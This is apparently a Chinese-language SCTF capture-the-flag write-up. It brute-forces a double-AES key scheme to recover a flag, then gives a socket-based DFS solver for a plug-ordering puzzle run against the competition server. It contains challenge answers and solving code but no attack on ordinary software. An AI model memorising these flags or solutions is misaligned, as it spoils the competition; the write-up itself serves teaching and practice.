if type(secret["the answer to life the universe and everything"]) != type(u"77"):
    destroy_the_universe()
 
answer = hashlib.sha1(secret["the answer to life the universe and everything"]).hexdigest()[0:16]
key = hashlib.sha1(secret["Don't google what it is"]).digest()[0:6]
 
if ord(key[4])*(ord(key[5])-5) != 17557:
    destroy_the_universe()
 
keys = ["hey"+key[2]+"check"+key[3]+"it"+key[0]+"out", 
        "come"+key[1]+"on"+key[4]+"baby"+key[5]+"~~!"]
answer = AES.new(keys[1],AES.MODE_ECB).encrypt(
                AES.new(keys[0], AES.MODE_ECB).encrypt(answer))
 
if base64.b64encode(answer) == "fm2knkCBHPuhCQHYE3spag==":
    fp = open("%s.txt" % hashlib.sha256(key).hexdigest(), "w")
    fp.write(secret["The entrance to the new world"])
    fp.close()

 

第一个if语句也真是个坑,Google一下"the answer to life the universe and everything"得到的是42,然后后面也必须用42,不然就算不出结果,这里居然写成77?

第二个if语句,我们可以计算出有97*181=17557,代码如下:

def break_multiply(dst=17557): for i in xrange(0, dst+1): for j in xrange(i, dst+1): if i * j == dst: print "%d * %d = %d" % (i, j, dst)

那么key4和key5会存在两种情况(97,186),(181,102)。

之后就是加密处理了,加密逻辑为:使用keys[0]对answer进行AES加密得到中间结果TMP,然后使用keys1对TMP进行AES加密得到结果RES,对RES进行Base64编码得到fm2knkCBHPuhCQHYE3spag==。

那么我们就可以开始爆破了,其中keys1存在512种情况,所以稍微优化一下我们可以使用keys1对加密结果进行AES解密,然后使用一个list保存这512种可能的中间结果,然后跑一个256256256的三重循环破解keys[0],代码如下:

# -*- coding:utf-8 -*-
 
import hashlib
import base64
from Crypto.Cipher import AES
 
def genkey1():
    res = []
    for i in xrange(0, 256):
        res.append("come"+chr(i)+"on"+chr(181)+
                     "baby"+chr(102)+"~~!")
        res.append("come"+chr(i)+"on"+chr(97)+
                     "baby"+chr(186)+"~~!")
    return res
 
def genkey0():
    res = []
    for i in xrange(0, 256):
        for j in xrange(0, 256):
            for k in xrange(0, 256):
                res.append("hey"+chr(i)+"check"+
                             chr(j)+"it"+chr(k)+"out")
    return res
 
def getkey1(key0):
    answer = hashlib.sha1(u"42").hexdigest()[0:16]
    tmp = AES.new(key0, AES.MODE_ECB).encrypt(answer)
    final_answer = base64.b64decode("fm2knkCBHPuhCQHYE3spag==")
    for i in xrange(0, 256):
        key1 = "come"+chr(i)+"on"+chr(181)+"baby"+chr(102)+"~~!"
        if tmp == AES.new(key1, AES.MODE_ECB).decrypt(
                             final_answer):
            print "key1: " + repr(key1)
            return
        key1 = "come"+chr(i)+"on"+chr(97)+"baby"+chr(186)+"~~!"
        if tmp == AES.new(key1, AES.MODE_ECB).decrypt(
                             final_answer):
            print "key1: " + repr(key1)
            return
 
def crack():
    keys0 = genkey0() # 256**3
    keys1 = genkey1() # 512
    answer = hashlib.sha1(u"42").hexdigest()[0:16]
    final_answer = base64.b64decode("fm2knkCBHPuhCQHYE3spag==")
    tmp_res = []
    for key1 in keys1:
        tmp_res.append(AES.new(key1, AES.MODE_ECB).decrypt(
                          final_answer))
    for key0 in keys0:
        tmp = AES.new(key0, AES.MODE_ECB).encrypt(answer)
        if tmp in tmp_res:
            print "key0: " + repr(key0)
            return getkey1(key0)
 
if __name__ == "__main__":
    crack()
    key = "\x81i7\x88a\xba"
    print hashlib.sha256(key).hexdigest()
"""
key0: 'hey7check\x88it\x81out'  2 3 0
key1: 'comeionababy\xba~~!'     1 4 5
5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4
 
http://download.sycsec.com/code/code400/5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4.txt
 
"""

 

当然上面的代码中也可以不事先执行完3个256的循环,这样还可以进一步加快计算速度,因为中间只要得到答案就可以返回了。这里得到的key为"\x81i7\x88a\xba",sha256得到5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4。所以打开

http://download.sycsec.com/code/code400/5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4.txt

打开得到如下的提示:

====== Base64格式密文 ======
Or18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E6vXz/FILbFbmlPsEtsgTtg8YvBbK1tmzG6kynjDqJprRC+1hlQx5+R/jfCbNHfox6QebbfCAjhu4gksaTubuBOr18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E=
====== 部分明文还原 ======
*****n**M****H***j***Wx*******d************h*****3****=*******==******t**F**M**f***hM************3***H*w**J*********=**==*******U******E**95**V*c*N****5**t*M*****J*c*Q*****c*h5**0******==*==****NUR*******************X2*u*H**Y************G**P****=***********0*****************************f***5****OX*********=*******=****

对Base64密文进行Base64解码,发现密文的长度为320,和明文的长度是一致的,然后密文是下面的值重复5次:

:\xbd|\xff\x14\x82\xdb\x15\xb9\xa5>\xc1-\xb2\x04\xed\x83\xc6/\x05\xb2\xb5\xb6l\xc6\xeaL\xa7\x8c:\x89\xa6\xb4B\xfbXeC\x1e~G\xf8\xdf\t\xb3G~\x8czA\xe6\xdb| #\x86\xee \x92\xc6\x93\xb9\xbb\x81

密文和明文长度是一致的,然后密文是重复的,可以猜想明文也是重复的,而且明文去除掩码后得到的字符串的长度刚好是64(64*5=320):

nMHjWxdh3===tFMfhM3HwJ===UE95VcN5tMJcQch50====NURX2uHYGP=0f5OX==

所以猜想通过带掩码的明文刚好可以恢复出明文值,代码如下:

# -*- coding:utf-8 -*-
import sys
import hashlib
import base64
 
def crack():
    ciphertext = base64.b64decode("Or18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E6vXz/FILbFbmlPsEtsgTtg8YvBbK1tmzG6kynjDqJprRC+1hlQx5+R/jfCbNHfox6QebbfCAjhu4gksaTubuBOr18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E=")
    plaintext = "*****n**M****H***j***Wx*******d************h*****3****=*******==******t**F**M**f***hM************3***H*w**J*********=**==*******U******E**95**V*c*N****5**t*M*****J*c*Q*****c*h5**0******==*==****NUR*******************X2*u*H**Y************G**P****=***********0*****************************f***5****OX*********=*******=****"
    print repr(ciphertext)
    length = len(ciphertext) / 5
    answer = list("*"*length)
    for i in xrange(0, len(plaintext)):
        if plaintext[i] != '*':
            answer[i%length] = plaintext[i]
    answer = "".join(answer)
    print answer
    print base64.b64decode(answer)
    # SCTF{D0_y0u_r3a1ly_kn0w_crypt09raphy?}
 
if __name__ == "__main__":
    crack()

 

解出来的明文为:

U0NURntEMF95MHVfcjNhMWx5X2tuMHdfY3J5cHQwOXJhcGh5P30=============

进行Base64解码得到Flag为。SCTF{D0_y0u_r3a1ly_kn0w_crypt09raphy?}

Code500

女神Alice找回了钱钱,女神非常开心,然后就去洗澡了
这时Mallory已经逃走了!
plusplus7希望抓住Mallory,于是决定开挖掘机去追他。
刚刚坐上挖掘机,结果发现启动挖掘机需要把一些插头按照一定的顺序连接起来...
插头有两面,每个插头的两端都有颜色
如:
绿色和黑色插头 “G:B”
当插头的两个面颜色相同,才能被接在一起
如:
对接成功 “G:B = B:V”
对接失败 “G:B * C:G”
插座也有两面,一面有颜色,一面无颜色以"X"表示
如:
左插座 “X:B”
右插座 “C:X”
插座只有两个,且不可移动
如:
“X:B * C:G = G:E * B:C * E:X”
对挖掘机的siri输入指令,“3 3 1”
“X:B = B:C = C:G = G:E = E:X”
那么,问题来了...
218.2.197.248:7777
Score: 500
Ratio: 9/659
Remain: 0/30
#!/usr/bin/env python
#encoding:utf-8
 
import socket
 
def get_one(s):
    try:
        ret = s.recv(100)
        while ret.find(":X\n") == -1 and ret.find("SCTF") == -1:
            ret += s.recv(100)
        print ret
        return ret[:-1]
    except Exception, e:
        print 'Fail', ret
        return ret
 
def check(now, size):
    for i in xrange(1, size):
        if now[i - 1][2] != now[i][0]:
            return False
    return True
 
def swap(now, i, j, k, deep):
    history[deep] = [i, j, k]
    if k < i:
        return now[:k] + now[i:j + 1] + now[k:i] + now[j + 1:]
    elif k > j:
        return now[:i] + now[j + 1:k] + now[i:j + 1] + now[k:]
    return now
 
def dfs(now, deep, max_deep, size):
    if deep == max_deep:
        if check(now, size):
            return True
        return False
    for i in xrange(1, size):
        if now[i - 1][2] != now[i][0]:
            for j in xrange(1, size):
                if now[i - 1][2] == now[j][0]:
                    start = j
                    break
            for j in xrange(0, size - 1):
                if now[i][0] == now[j][2]:
                    stop = j
                    break
            if start <= stop and (start > i or stop < i - 1):
                return dfs(swap(now, start, stop, i, deep), deep + 1, max_deep, size)
    for i in xrange(1, size - 1):
        if now[i - 1][2] == now[i][0]:
            continue
        for j in xrange(i, size - 1):
            if now[j][2] == now[j + 1][0]:
                continue
            for k in xrange(1, i):
                if now[k - 1][2] != now[k][0] and dfs(swap(now, i, j, k, deep), deep + 1, max_deep, size):
                    return True
            for k in xrange(j + 2, size):
                if now[k - 1][2] != now[k][0] and dfs(swap(now, i, j, k, deep), deep + 1, max_deep, size):
                    return True
    return False
 
def get_answer(now, max_step):
    now = now.replace(' ', '').replace('=', '*').split('*')
    size = len(now)
    for i in xrange(1, max_step + 1):
        if dfs(now, 0, i, size):
            print history
            return i
 
history = [[] for i in range(10)]
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('218.2.197.248', 7777))
round_count = 1
ret = get_one(s)[len("Let's start this game!\n"):]
while True:
    step = get_answer(ret, 7)
    for i in xrange(step):
        s.send("%d %d %d" % (history[i][0], history[i][1], history[i][2]))
        ret = get_one(s)
    print 'Round', round_count, 'finsh.\n'
    round_count += 1
    ret = get_one(s)[len('Round pass...\n'):]

 




【本文来源360bobao Madimo和西安电子科技大学L战队提供 SP胖编编辑发布】

本文作者:SP胖编

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/2926.html

Tags:
评论  (1)
快来写下你的想法吧!

SP胖编

文章数:59 积分: 0

神器 神器 神器

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号